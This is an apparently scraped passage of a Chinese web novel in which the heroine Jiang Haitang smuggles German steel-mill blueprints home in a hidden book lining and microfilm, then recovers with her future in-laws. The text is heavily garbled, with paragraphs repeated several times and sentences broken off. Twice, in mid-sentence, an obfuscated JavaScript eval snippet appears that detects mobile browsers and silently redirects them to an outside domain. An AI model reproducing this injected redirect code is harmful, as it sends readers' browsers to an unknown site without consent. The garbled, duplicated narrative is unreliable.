姜海棠立即说:“不用这么客气,施耐德夫人,您太客气,我会不好意思的。” “不要不好意思,你是我们家的恩人,当得起我们任何的感谢。”施耐德夫人很诚恳地说道:“礼物我已经让人送到你的房间了,请一定不要拒绝。” 这时候,施耐德又递过一个文件袋。 “这是更重要的谢礼,里面是我公司最新型轧钢机的部分技术图纸,作为我们合作的诚意。” “这太贵重了!”姜海棠惊呼。 施耐德摇摇头:“比起你救了我们全家,这不算什么。” “尤其是埃尔文,我只有这一个儿子,不会允许他出现任何的问题。” 姜海棠沉默了,看起来,舐犊情深,并不只是华国人才有。 “汉斯集团昨晚发生了意外,他们的核心实验室起火了,虽然官方的报道还没有出来,但大家都已经听说了。” 姜海棠心头一震,这才明白施耐德说的采取措施是什么意思。 许是发现了姜海棠的震惊,施耐德轻轻搅动着咖啡,“有时候,竞争就是这么残酷。” 姜海棠看了看施耐德平静的表情,突然明白了什么。 她直视对方的眼睛 :“施耐德先生,您确定要与我们合作吗?这可能会给您带来更多麻烦。” 施耐德微笑着举起咖啡杯:“姜女士,在D国,我们管这叫‘风险投资’。何况,有些东西,值得为之战斗。”他目光转向正在吃蛋糕的儿子,眼中都是慈爱。 姜海棠没有继续说什么,而是微笑着说:“施耐德先生,看起来,我们的安全有保障了。” 汉斯现在,应该没有精力对付他们了吧。 早餐后,小埃尔文和施耐德夫人就要离开D国。 临别时,小埃尔文哭着不肯松手:“阿姨,你一定要再来D国看我!” 施耐德夫人红着眼眶说:“我们全家都欢迎你随时来访。” “也欢迎夫人带着埃尔文来我们华国,我会尽地主之谊请你们吃华国美食。” 告别了施耐德一家,汽车已经在宾馆门口等着了,姜海棠即将去见大使。 周副部长将全程陪同姜海棠到大使馆。 汽车驶入大使馆所在的波恩外交区时,姜海棠透过车窗看到了飘扬的五星红旗。 这座建于1950年代的灰白色建筑前,两名身着65式军装的警卫笔直站立。 “周副部长,姜海棠同志!”大使秘书快步迎上来,他穿着笔挺的中山装,胸口别着****章,“请跟我来,大使正在等您。” 穿过铺着红地毯的走廊,姜海棠注意到墙上悬挂着《江山如此多娇》的复制画作。 秘书轻叩办公室的木门后,里面传来沉稳的声音。 “请进。” 秘书推开门,站在一旁,抬手请周副部长和姜海棠二人进去。 进门之后,姜海棠看到一位鬓角微白的老者正从办公桌后起身。 他的办公室陈设简朴:一张铺着绿色呢绒布的桌子,墙上挂着世界地图和中国地图,书柜里整齐码放着《马克思恩格斯全集》。 “这一次你们来D国,我一直都没有抽出时间见见老朋友,却没想到,你竟然带了这么厉害一个小同志,后生可畏啊!”大使笑着与周副部长说。 姜海棠听出来了,两个人关系应该不错。 “广交会上无意间见到小同志,力排众议带过来的,她确实带给我不少惊喜!”周副部长不吝夸奖。 “坐,姜海棠同志。”大使指了指藤椅,“听说你昨天做了一件了不起的事。” 姜海棠端正地坐下,双手放在膝盖上:“报告大使,我只是做了任何一个中国公民都会做的事。” 大使微笑着 从抽屉里取出一个牛皮纸袋:“这是外交部刚发来的加密电报,对你保护外国友人的行为表示肯定。” 他顿了顿,接着说:“不过组织上希望你能详细说明与施耐德接触的经过。” 姜海棠一五一十地汇报了情况,当提到技术图纸时,大使的钢笔在记事本上顿了一下。 “这份图纸我带过来了。”姜海棠说着,将施耐德给她的牛皮纸袋放到大使面前。 “这件事……”大使沉吟道,“你做得对。图纸我就不看了,你要妥善保管,回国后直接交给冶金部的王司长。国家会记得你的功劳!” 姜海棠知道,这份图纸要带回去,并不会十分容易,但不管再怎么艰难,也要带回去。 她郑重地点头:“我会非常努力。” 下午,机场。 代表团成员正在接受出境检查。 姜海棠将装着图纸的《**主席语录》封面夹层紧紧抱在胸前。 “同志,请打开您的书籍检查。”海关人员用生硬的华语说道。 姜海棠心头一紧,但面色如常地翻开红宝书:“这是伟大领袖的著作。” 海关人员许是也知道,华国人是有这个信念的,只简单翻看就放行了。 姜海棠一直等到登机之后,悬着的心才算放下。 她想起施耐德那句“竞争就是这么残酷”,不禁心里又是一颤。 这一路上,姜海棠其实都有些紧张,生怕中途会发生什么意外。 但终于,他们很平稳地到达了国内。 机场。 前来接机的有两名穿军装的同志。 “姜海棠同志,”其中一位军人敬了个礼,“请随我们去趟国防工办,**想了解德国钢铁技术的最新进展。” 在吉普车上,姜海棠悄悄摸了摸缝在内衣里的微缩胶片。 是的,除了红宝书里藏了一份之外,她在自己的衣服里也藏了一份。 “到了。”军人同志的声音将姜海棠的思绪拉回现实。 从抽屉里取出一个牛皮纸袋:“这是外交部刚发来的加密电报,对你保护外国友人的行为表示肯定。” 他顿了顿,接着说:“不过组织上希望你能详细说明与施耐德接触的经过。” 姜海棠一五一十地汇报了情况,当提到技术图纸时,大使的钢笔在记事本上顿了一下。 “这份图纸我带过来了。”姜海棠说着,将施耐德给她的牛皮纸袋放到大使面前。 “这件事……”大使沉吟道,“你做得对。图纸我就不看了,你要妥善保管,回国后直接交给冶金部的王司长。国家会记得你的功劳!” 姜海棠知道,这份图纸要带回去,并不会十分容易,但不管再怎么艰难,也要带回去。 她郑重地点头:“我会非常努力。” 下午,机场。 代表团成员正在接受出境检查。 姜海棠将装着图纸的《**主席语录》封面夹层紧紧抱在胸前。 “同志,请打开您的书籍检查。”海关人员用生硬的华语说道。 姜海棠心头一紧,但面色如常地翻开红宝书:“这是伟大领袖的著作。” 海关人员许是也知道,华国人是有这个信念的,只简单翻看就放行了。 姜海棠一直等到登机之后,悬着的心才算放下。 她想起施耐德那句“竞争就是这么残酷”,不禁心里又是一颤。 这一路上,姜海棠其实都有些紧张,生怕中途会发生什么意外。 但终于,他们很平稳地到达了国内。 机场。 前来接机的有两名穿军装的同志。 “姜海棠同志,”其中一位军人敬了个礼,“请随我们去趟国防工办,**想了解德国钢铁技术的最新进展。” 在吉普车上,姜海棠悄悄摸了摸缝在内衣里的微缩胶片。 是的,除了红宝书里藏了一份之外,她在自己的衣服里也藏了一份。 “到了。”军人同志的声音将姜海棠的思绪拉回现实。 从抽屉里取出一个牛皮纸袋:“这是外交部刚发来的加密电报,对你保护外国友人的行为表示肯定。” 他顿了顿,接着说:“不过组织上希望你能详细说明与施耐德接触的经过。” 姜海棠一五一十地汇报了情况,当提到技术图纸时,大使的钢笔在记事本上顿了一下。 “这份图纸我带过来了。”姜海棠说着,将施耐德给她的牛皮纸袋放到大使面前。 “这件事……”大使沉吟道,“你做得对。图纸我就不看了,你要妥善保管,回国后直接交给冶金部的王司长。国家会记得你的功劳!” 姜海棠知道,这份图纸要带回去,并不会十分容易,但不管再怎么艰难,也要带回去。 她郑重地点头:“我会非常努力。” 下午,机场。 代表团成员正在接受出境检查。 姜海棠将装着图纸的《**主席语录》封面夹层紧紧抱在胸前。 “同志,请打开您的书籍检查。”海关人员用生硬的华语说道。 姜海棠心头一紧,但面色如常地翻开红宝书:“这是伟大领袖的著作。” 海关人员许是也知道,华国人是有这个信念的,只简单翻看就放行了。 姜海棠一直等到登机之后,悬着的心才算放下。 她想起施耐德那句“竞争就是这么残酷”,不禁心里又是一颤。 这一路上,姜海棠其实都有些紧张,生怕中途会发生什么意外。 但终于,他们很平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010225|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳地到达了国内。 机场。 前来接机的有两名穿军装的同志。 “姜海棠同志,”其中一位军人敬了个礼,“请随我们去趟国防工办,**想了解德国钢铁技术的最新进展。” 在吉普车上,姜海棠悄悄摸了摸缝在内衣里的微缩胶片。 是的,除了红宝书里藏了一份之外,她在自己的衣服里也藏了一份。 “到了。”军人同志的声音将姜海棠的思绪拉回现实。 从抽屉里取出一个牛皮纸袋:“这是外交部刚发来的加密电报,对你保护外国友人的行为表示肯定。” 他顿了顿,接着说:“不过组织上希望你能详细说明与施耐德接触的经过。” 姜海棠一五一十地汇报了情况,当提到技术图纸时,大使的钢笔在记事本上顿了一下。 “这份图纸我带过来了。”姜海棠说着,将施耐德给她的牛皮纸袋放到大使面前。 “这件事……”大使沉吟道,“你做得对。图纸我就不看了,你要妥善保管,回国后直接交给冶金部的王司长。国家会记得你的功劳!” 姜海棠知道,这份图纸要带回去,并不会十分容易,但不管再怎么艰难,也要带回去。 她郑重地点头:“我会非常努力。” 下午,机场。 代表团成员正在接受出境检查。 姜海棠将装着图纸的《**主席语录》封面夹层紧紧抱在胸前。 “同志,请打开您的书籍检查。”海关人员用生硬的华语说道。 姜海棠心头一紧,但面色如常地翻开红宝书:“这是伟大领袖的著作。” 海关人员许是也知道,华国人是有这个信念的,只简单翻看就放行了。 姜海棠一直等到登机之后,悬着的心才算放下。 她想起施耐德那句“竞争就是这么残酷”,不禁心里又是一颤。 这一路上,姜海棠其实都有些紧张,生怕中途会发生什么意外。 但终于,他们很平稳地到达了国内。 机场。 前来接机的有两名穿军装的同志。 “姜海棠同志,”其中一位军人敬了个礼,“请随我们去趟国防工办,**想了解德国钢铁技术的最新进展。” 在吉普车上,姜海棠悄悄摸了摸缝在内衣里的微缩胶片。 是的,除了红宝书里藏了一份之外,她在自己的衣服里也藏了一份。 “到了。”军人同志的声音将姜海棠的思绪拉回现实。 从抽屉里取出一个牛皮纸袋:“这是外交部刚发来的加密电报,对你保护外国友人的行为表示肯定。” 他顿了顿,接着说:“不过组织上希望你能详细说明与施耐德接触的经过。” 姜海棠一五一十地汇报了情况,当提到技术图纸时,大使的钢笔在记事本上顿了一下。 “这份图纸我带过来了。”姜海棠说着,将施耐德给她的牛皮纸袋放到大使面前。 “这件事……”大使沉吟道,“你做得对。图纸我就不看了,你要妥善保管,回国后直接交给冶金部的王司长。国家会记得你的功劳!” 姜海棠知道,这份图纸要带回去,并不会十分容易,但不管再怎么艰难,也要带回去。 她郑重地点头:“我会非常努力。” 下午,机场。 代表团成员正在接受出境检查。 姜海棠将装着图纸的《**主席语录》封面夹层紧紧抱在胸前。 “同志,请打开您的书籍检查。”海关人员用生硬的华语说道。 姜海棠心头一紧,但面色如常地翻开红宝书:“这是伟大领袖的著作。” 海关人员许是也知道,华国人是有这个信念的,只简单翻看就放行了。 姜海棠一直等到登机之后,悬着的心才算放下。 她想起施耐德那句“竞争就是这么残酷”,不禁心里又是一颤。 这一路上,姜海棠其实都有些紧张,生怕中途会发生什么意外。 但终于,他们很平稳地到达了国内。 机场。 前来接机的有两名穿军装的同志。 “姜海棠同志,”其中一位军人敬了个礼,“请随我们去趟国防工办,**想了解德国钢铁技术的最新进展。” 在吉普车上,姜海棠悄悄摸了摸缝在内衣里的微缩胶片。 是的,除了红宝书里藏了一份之外,她在自己的衣服里也藏了一份。 “到了。”军人同志的声音将姜海棠的思绪拉回现实。 从抽屉里取出一个牛皮纸袋:“这是外交部刚发来的加密电报,对你保护外国友人的行为表示肯定。” 他顿了顿,接着说:“不过组织上希望你能详细说明与施耐德接触的经过。” 姜海棠一五一十地汇报了情况,当提到技术图纸时,大使的钢笔在记事本上顿了一下。 “这份图纸我带过来了。”姜海棠说着,将施耐德给她的牛皮纸袋放到大使面前。 “这件事……”大使沉吟道,“你做得对。图纸我就不看了,你要妥善保管,回国后直接交给冶金部的王司长。国家会记得你的功劳!” 姜海棠知道,这份图纸要带回去,并不会十分容易,但不管再怎么艰难,也要带回去。 她郑重地点头:“我会非常努力。” 下午,机场。 代表团成员正在接受出境检查。 姜海棠将装着图纸的《**主席语录》封面夹层紧紧抱在胸前。 “同志,请打开您的书籍检查。”海关人员用生硬的华语说道。 姜海棠心头一紧,但面色如常地翻开红宝书:“这是伟大领袖的著作。” 海关人员许是也知道,华国人是有这个信念的,只简单翻看就放行了。 姜海棠一直等到登机之后,悬着的心才算放下。 她想起施耐德那句“竞争就是这么残酷”,不禁心里又是一颤。 这一路上,姜海棠其实都有些紧张,生怕中途会发生什么意外。 但终于,他们很平稳地到达了国内。 机场。 前来接机的有两名穿军装的同志。 “姜海棠同志,”其中一位军人敬了个礼,“请随我们去趟国防工办,**想了解德国钢铁技术的最新进展。” 在吉普车上,姜海棠悄悄摸了摸缝在内衣里的微缩胶片。 是的,除了红宝书里藏了一份之外,她在自己的衣服里也藏了一份。 “到了。”军人同志的声音将姜海棠的思绪拉回现实。 第247章 陆老爷子假公济私 国防工办的灰色大楼前,站着几位神情严肃的干部。 为首的中年男子戴着黑框眼镜,正是冶金部的王司长。 “姜海棠同志,一路辛苦了。王司长快步上前,紧紧握住她的手,“图纸安全吗? 姜海棠点点头,将包里的红宝书交给王司长,又从衣服暗袋中取出微缩胶片,一样交给王司长。 王司长如获至宝,立即交给身旁的技术人员:“马上送去技术处显影! 安排了工作之后,他转头又对姜海棠说:“总理特别批示,要尽快消化吸收这些技术。这是你冒着危险带回来的,也是施耐德感谢你的礼物,你把这份资料贡献出来,我代表国家和人民感谢你。 姜海棠笑着客气了几句。 在接下来的汇报中,姜海棠详细讲述了在D国的经历。 当提到施耐德家族时,一位鬓发斑白的老将军突然问道:“你说的是鲁尔区的卡尔顿家族? “是的,**。 老将军若有所思:“1953年我在莱比锡博览会上见过老卡尔顿,是个有远见的企业家,看起来,他的后代也不错。 他转向王司长:“这份图纸要列为‘特急’项目,争取年底前在鞍钢试制。 会议结束后,王司长特意留下姜海棠:“组织上决定给你记一等功,姜海棠同志,你为了国家建设做的努力,组织不会忘记。 “感谢组织的厚爱! “我估计,近期,你的工作也会有调动,你本人有没有什么想法? 姜海棠迟疑了一下说:“我很快就要结婚了,未来的丈夫在西北…… “我知道,是陆家的小子,那小子是运气好,才遇到了你这样能干的女人。姜海棠同志,你的情况,我和老周会向组织汇报,不会让你们新婚就分居两地。 姜海棠道谢之后,王司长安排车送姜海棠回陆家。 车子刚停在陆家院门口停下来,就看到何婉仪站在院子里,因瞧见了姜海棠,立即冲过来。 “哎呦,海棠,你可算回来了,我听到消息说你受伤了?严重不?我带你去看看医生好不好?何婉仪一叠声的关心,让姜海棠瞬间泪目。 何婉仪真的是拿她当自己孩子一样关心。 “何阿姨,我没事,就是一点小伤,上飞机之前包扎了,下飞机也有大夫给重新包扎了,医生说好好养着就行。姜海棠抱住何婉仪,在她耳边轻声说着,只是那眼泪却扑簌簌的落在何婉仪的肩头。 何婉 仪感觉到了肩膀上传来的湿热,知道姜海棠这是哭了,只轻轻的拍着她的后背。 她心中一趟,海棠这孩子,虽然厉害,但说到底,也就是个不到二十岁的孩子,经历了这么一遭,应该吓坏了吧? “好孩子,回家了,想吃什么,给阿姨说,我们不哭,不委屈不害怕啊。” 何婉仪轻声的安慰着姜海棠,谁知道,她越是柔声细语的安慰,姜海棠哭的愈厉害。 她似乎是要将自己这么多年缺乏母爱的心酸都哭出来。 许久之后,姜海棠终于止住了哭泣,不好意思的说:“何阿姨,我失态了,只是,您这样安慰我,我好像看到了妈妈一样。” 何婉仪没想到,姜海棠哭的这样难过是因为这个原因。 她轻轻的抱住姜海棠说道:“好孩子,以后,我就是你的亲妈妈。你这些年缺失的母爱,妈妈都补给你。” “谢谢妈妈!”姜海棠脸上挂着泪水,眼中带着笑,喊出了一声妈妈。 “哎,我这也算是有个闺女了,走,妈给你做好吃的,在国外这么长时间,肯定没吃好,都瘦了!” 姜海棠捏捏自己的脸,其实,她觉得还好,可是,有一种瘦,叫做妈妈觉得你瘦。 她乖巧的跟着何婉仪到屋里, 陆老爷子也在家,他对面还坐着一个人,看样子像是大夫。 “海棠啊,这是我的专属医生王医生,让他给你看看,我才能放心。” 何婉仪知道今天专属医生过来给老爷子检查身体,却没想到,老爷子竟然会开口让王医生给海棠看病。 要知道,老爷子这个人,最是坚守原则,平日里家里有人生病,老爷子也从来都不允许专属医生给家里人看病。 没想到,这次,老爷子竟然会为了姜海棠破例。 “来,海棠,你过去让王医生帮你检查一下,要是有必要,咱们就去医院休息几天,身体最要紧。”何婉仪立即将姜海棠推到王医生旁边的藤椅上坐下。 其实,不光是何婉仪惊讶,就是王医生也惊讶到不行,他服务陆老爷子这么多年,还是第一次听到陆老爷子开口让自己给家里人看病。 不得不说,陆家这位还没有过门的新媳妇,确实得陆家人的欢心啊。 听说,这位出身不高,就是西北农家女,可是今日看着,却又不像。 王医生脑子里想着,手已打开棕色皮箱,里面的听诊器还带着棉布套,这也算是难得的精细物件。 姜海棠撸起左胳膊的袖子,手臂上缠 着圈厚厚的纱布边缘透着点暗红。 王医生一点点的打开纱布果然里面已经渗出血了姜海棠感受到了疼痛下意识的瑟缩了一下。 何婉仪忙蹲在一旁握住姜海棠的右手:“好孩子不怕握着妈妈的手。” 王医生没忍住看了一眼何婉仪这要不说还以为是母女呢谁能想到是未来婆媳啊? 但他长期服务陆老爷子自然知道什么该关注什么不该关注马上就收敛心神将目光看向伤口。 “这伤看着像是被金属划的?刀伤?” 姜海棠点点头:“国外有些不安全。” 何婉仪倒吸了口凉气伤口足有三寸长边缘还泛着点青显然是在国外没养好。 “这得缝针啊!怎么就简单包扎了?”她声音都发颤。 “当时着急回国怕耽误了行程包扎了一下后来邹明同志给了瓶药膏说当地工人都用这个倒也不疼了。”姜海棠笑了笑。 陆老爷子把搪瓷缸往桌上一放缸底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017720|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磕得桌面响:“你这孩子什么时候都是身体最重要以后可不能这样伤害自己。” 话虽硬眼神却软了他在战场上见多了舍己为人的兵这姑娘身上就有这股子劲。 到底是老姜家的后代啊骨子里是带着的。 王医生看过姜海棠用过的药膏之后才开始帮姜海棠用酒精棉擦伤口。 姜海棠咬着唇没吭声只是被何婉仪握着的手稍微用力了一点点。 何婉仪那个心疼啊这孩子这么疼怎么也不叫出声就这么忍着。 “伤口有点发炎得重新清创。”他从皮箱里拿出玻璃药瓶“这是军区医院刚配的青霉素比你带回来的药膏管用。” 何婉仪垂下眼眸不敢继续看姜海棠的伤口只是说道:“疼了就喊出来有爷爷和妈妈在呢。” 姜海棠忽然觉得手肘的刺痛里混着点暖这是她从小到大没体会过的滋味像冬日里凑近火炉的手明明烫得慌却舍不得挪开。 王医生能服务陆老爷子医术自然是很好的他给姜海棠清创之后重新上药然后包扎好伤口。 “我明天再过来看看这几天饮食上要格外注意发物、辛辣的都不能吃。我开的这几样要一日三次吃能消炎止痛。” 王医生叮嘱了好些话这才告辞离开。 他说明天再过来 王医生并不知道姜海棠 这次受伤有什么内幕。 可陆老爷子知道啊。 姜海棠这次受伤,可是为国家换回好东西了,光是这份功劳,就足以让海棠以后的路平顺很多,甚至,整个陆家都会因此多上一重保障。 陆老爷子就从抽屉里拿出个红布包:“这是我最喜欢的一枚勋章,上面有‘无畏’两个字,是领导人亲自颁发的,现在我把它送给你。” 他由不得姜海棠拒绝,就把奖章塞进她的手里。 “谢谢爷爷!”姜海棠收下勋章之后,诚挚道谢。 奖章的铜面被磨得发亮,姜海棠指尖抚过“无畏”两个字。 这枚勋章,应该是老爷子搏命才换回来的吧?现在就这么给了自己。 “海棠,救人是对的,但下次得先顾着自己,你是国家的技术人才,也是我们陆家的人,两样都金贵。” “当时也没想多的,就是觉得,应该这么做,好在,后来的事情证明,我做的一切都还有意义的。” 光是施耐德先生给的那份图纸,对于当前的华国,就具有十分重要的意义。 不过,那只是一部分的图纸,如果能将所有的图纸补全,要少走十余年的弯路。 姜海棠想着,也不知道夜梦空间的书房里,有没有这方面的书籍,如果有,自己是不是有机会将这份图纸补全呢? “老大媳妇,你送海棠先去休息休息,她这样疲惫,老姜等会儿过来看到了要心疼了。” 何婉仪忙笑着说:“好,爸,我先送海棠上去休息,然后和王婶一起给她做些好吃的补一补。” “要记得王医生说的,这两天,海棠不能吃的,就别做了。” 第248章 独属于她的战场 何婉仪立即答应下来,就要送姜海棠上楼。 “妈妈,不用,我自己上去就行。”姜海棠很是不好意思,她是胳膊受伤,又不是腿受伤。 “听你爷爷的话,我送你上去。”何婉仪很是坚持的说道。 二人上楼的时候,何婉仪看着姜海棠手里的勋章说:“这是你爷爷最喜欢的一枚勋章,没想到,最后倒是给了你,不过也不奇怪,你爷爷这辈子就服两种人,能打仗的,能干事的。你呀,两样都占了。” 说着话,两个人已经到了楼上房间门口。 “你先休息休息,晚上大家一起吃饭,这两天可别操心别的事儿,就好好养病。” “妈妈,我想良辰和小桃子了,想抓紧时间回去,我想着明天就走。” 姜海棠一走这么长的时间,确实有些归心似箭了,迫不及待的就想着回去。 何婉仪听姜海棠这么说,立即反对:“你伤没好之前,就别乱跑了,就在家里养着,良辰那边,他是大人了,还不能好好照顾自己?” 姜海棠知道,何婉仪看着柔和,可其实也是个很犟的人,估计伤口好起来之前,肯定不让自己走。 算了,那就先在京城里留几天,抽空将自己这段时间在叶梦空间里学习到的那些东西先梳理一下。 这一个月的时间,她在夜梦空间的书房里学习到了不少的东西,可因为当时所处的环境,姜海棠并没有敢梳理出来,现在可要抓紧时间了。 躺在床上想着,姜海棠迷迷糊糊地睡着了。 一觉醒来,已经是太阳落山的时候。 姜海棠想着自己睡了这么长时间,还挺不好意思的,忙起床开门准备下楼。 刚走到楼梯口,就遇上了时书岚。 “海棠,我才要上去喊你吃饭呢。” “大嫂,我睡着了……”姜海棠很是不好意思的说。 “哎呀,你受伤呢,多睡会儿觉,对你身体有好处,姜爷爷也来了,正等着你呢。” 姜海棠听到时书岚说爷爷也来了,立即快步下楼。 果然,餐厅里,姜老爷子和陆老爷子两个正说着话,其他家里人也都到了。 一样是大人开了一桌,小孩子开了一桌。 这一次,姜海棠还看到了两个陌生的少年,大概十七八岁的样子。 瞧见姜海棠盯着两个少年看,时书岚笑着说:“这是小姑姑家的两个表弟,过年的时候回老家去了,你没见到。” 姜海棠朝着时书岚笑笑,表示感谢。 “哎呀,海棠,听说你受伤了,我给你买了些麦乳精和奶粉,你每天早晚都喝,好好补一补。”陆思敏看到姜海棠,立即笑着开口。 “小姑姑担心了,其实也没那么严重。” “你还哄我呢?我已经和大嫂问过了,你的伤可挺严重的。” 两个人聊了两句,陆思敏让两个儿子过来和姜海棠打招呼。 陆思敏的两个儿子看着都是十七八岁的模样,很帅气,不过和陆思敏的五官不是很像,可见是随了父亲了。 “你小姑父这段时间出差了,等下次有机会再见。你这两个表弟,都在上高中,明年就要毕业了。” 姜海棠听到两个都是明年就要毕业,还有些惊讶。 “他两个是双胞胎,不会长,没有其他人家双胞胎那样像。” 说起两个儿子的长相,陆思敏还是有些遗憾的。 明明是双胞胎,长得不像,算怎么回事。 姜海棠笑着说和两个少年打了招呼,又说:“我从D国带了些礼物回来,还没收拾出来,等下我们一起看看。” “这么大老远的,你带东西回来不容易,自己留着就行,别总想着我们。”袁一楠立即说。 “其实,也不是我准备的,是施耐德先生的太太准备的,我已经报备过了,允许我带回家。” “就是你救了的那家人?”袁一楠问。 “是的,二婶。” “这位施耐德先生,过几天要到华国来谈生意。我们之前还在担心这次的生意不好谈,托你的福,可能会轻松一点。” 虽然袁一楠不负责这块工作,但是,也听负责这块工作的同事提起过。 说到这里,袁一楠又问:“我听说组织上想给你调工作?” 姜海棠舀粥的手顿了顿:“王司长说会考虑我和良辰的情况,我打算征求良辰的意见之后再说。” 陆老爷子说道:“良辰现在在西北,远离京城更好,暂时还是留在西北吧,等将来你们再回来。” 姜海棠点头,陆老爷子这么说了,肯定也会给陆良辰这样安排。 老人家见多识广,肯定有自己的考量,他们当晚辈的,听从就对了。 “爷爷,我也是这样想的,西北也需要人建设。”姜海棠抬头看他,眼里亮闪闪的。 何婉仪在旁笑出了声:“还是海棠懂道理!真是便宜了良辰这臭小子了。” “大嫂,那个臭小子,可是你亲生的。”袁一楠笑着说。 “我亲生的是海棠,在 旁边坐着呢,那个臭小子,是我们家的上门女婿。”何婉仪爽朗地笑着说。 姜老爷子看着这一幕,对孙女的婚后生活更加放心了。 以后,就算自己不在了,孙女在陆家,应该也不会受委屈。 “大嫂,你们家这个上门女婿,马上就要回京城开会了,要不要考虑,让他们把婚事也在京城办?”袁一楠笑眼弯弯地打趣何婉仪。 “什么?”何婉仪显然没想到,儿子竟然也要来京城。 “今天刚定下来的,下周三有个会议,两天时间,良辰也要来参会。” “那感情好,这几天,海棠正好就在家里养伤,婚礼的事,我们商量一下,等他开完会一起办了。” 何婉仪对于儿子能在家里办婚礼显然也是十分开心。 她想了想又说:“等会儿就给那臭小子打个电话,让他来之前,顺便把婚假给请了,再把我的小孙女给我带回来……” 晚上,何婉仪带着姜海棠给陆良辰打了电话,知道姜海棠受伤,陆良辰担心得不得了,一再叮嘱母亲要好好照顾姜海棠。 姜海棠又再三保证自己现在挺好的,心里却在想着,等陆良辰到了京城的时候,她的伤大概就好得差不多了。 这时候的电话,都不适合打太长时间,短短说了几句话,就挂了电话。 姜海棠要送姜国柱回家,却被姜国柱拒绝了。 “既然婚礼要在京城举行,新人结婚前,不适合见面,等良辰从西北来了之后,海棠就暂时住在老姜家里,从老姜家里出嫁。”陆老爷子想了想,说道。 这事儿,也不用商量,左右,大家都能同意。 果然,姜国柱听到陆老爷子这么说,欣喜得不得了。 唯一的孙女儿能从自己家里出嫁,他真是太欢喜了。 就算暂时还不能公布姜海棠是自己亲孙女这件事,但这也算全了自己的心愿了。 姜海棠也为陆老爷子想得这么周全而感动。 “谢谢爷爷!” 陆老爷子看着姜海棠,一脸慈爱。 “你这孩子,总是这么客气,以后都是一家子人,可不能这样。” 当夜,夜梦空间书房里,姜海棠再次打开了书架上的那些书本,开始刻苦攻读起来。 回到国内之后,她感觉,自己在叶梦空间里的学习效率好像要比在国外稍微好一点,姜海棠怀疑,这可能是因为回国之后,她的身心彻底放松的缘故。 既然学习效果更好,姜海棠自然不想放过任何一个学习 的机会,立即开始努力看书,一遍遍的推演计算…… 她努力地汲取的先进知识的,这些知识,如此宝贵,却没有办法被更多的人看到,只能通过她这个途径传播出去。 她既然承担了如此责任,就只能比别人付出更多的努力。 翌日一早,起床之后,姜海棠觉得神清气爽。 吃了早饭后,她开始在房间的桌子上梳理那些这段时间一点点沉淀在她的脑海里的内容。 忙碌了一个早上,姜海棠只觉得头晕脑胀,她猛地甩甩头,驱散心中的疲惫。 姜海棠觉得,这两天在家休息也很好。 在安全的环境下,她可以尝试着以“理论推演”“灵感迸发”的方式,将一些核心思路逐步“解锁”,然后将这些理论知识尝试计划融入到实际的研究项目中。 在国内,无论她推演出任何的成果,都将是属于华国的,没有人能抢走。 也不用担心像是在国外一样,随时被人搜查。 而且,这是属于她一个人的战场,在这片唯有她能踏足的知识海洋里,她要继承先辈们的志向,努力,更加努力,以更强大的力量,守护这个国家。 这一趟去D国,她明显地感受到了,落后就要挨打,如果华国不是现在的华国,而是几十年之后的华国,她和代表团其他人肯定不会遭受这样的委屈。 姜海棠将目光重新放在面前的纸上,有人敲门。 敲门声轻轻响起,是王婶:“海棠,王大夫来了,请您下楼检查身体。” 姜海棠应了一声,站起身,将纸笔收拾妥当,这才跟着王婶下楼。 好在,受伤的是左胳膊,不妨碍她工作。 的机会,立即开始努力看书,一遍遍的推演计算…… 她努力地汲取的先进知识的,这些知识,如此宝贵,却没有办法被更多的人看到,只能通过她这个途径传播出去。 她既然承担了如此责任,就只能比别人付出更多的努力。 翌日一早,起床之后,姜海棠觉得神清气爽。 吃了早饭后,她开始在房间的桌子上梳理那些这段时间一点点沉淀在她的脑海里的内容。 忙碌了一个早上,姜海棠只觉得头晕脑胀,她猛地甩甩头,驱散心中的疲惫。 姜海棠觉得,这两天在家休息也很好。 在安全的环境下,她可以尝试着以“理论推演”“灵感迸发”的方式,将一些核心思路逐步“解锁”,然后将这些理论知识尝试计划融入到实际的研究项目中。 在国内,无论她推演出任何的成果,都将是属于华国的,没有人能抢走。 也不用担心像是在国外一样,随时被人搜查。 而且,这是属于她一个人的战场,在这片唯有她能踏足的知识海洋里,她要继承先辈们的志向,努力,更加努力,以更强大的力量,守护这个国家。 这一趟去D国,她明显地感受到了,落后就要挨打,如果华国不是现在的华国,而是几十年之后的华国,她和代表团其他人肯定不会遭受这样的委屈。 姜海棠将目光重新放在面前的纸上,有人敲门。 敲门声轻轻响起,是王婶:“海棠,王大夫来了,请您下楼检查身体。” 姜海棠应了一声,站起身,将纸笔收拾妥当,这才跟着王婶下楼。 好在,受伤的是左胳膊,不妨碍她工作。 的机会,立即开始努力看书,一遍遍的推演计算…… 她努力地汲取的先进知识的,这些知识,如此宝贵,却没有办法被更多的人看到,只能通过她这个途径传播出去。 她既然承担了如此责任,就只能比别人付出更多的努力。 翌日一早,起床之后,姜海棠觉得神清气爽。 吃了早饭后,她开始在房间的桌子上梳理那些这段时间一点点沉淀在她的脑海里的内容。 忙碌了一个早上,姜海棠只觉得头晕脑胀,她猛地甩甩头,驱散心中的疲惫。 姜海棠觉得,这两天在家休息也很好。 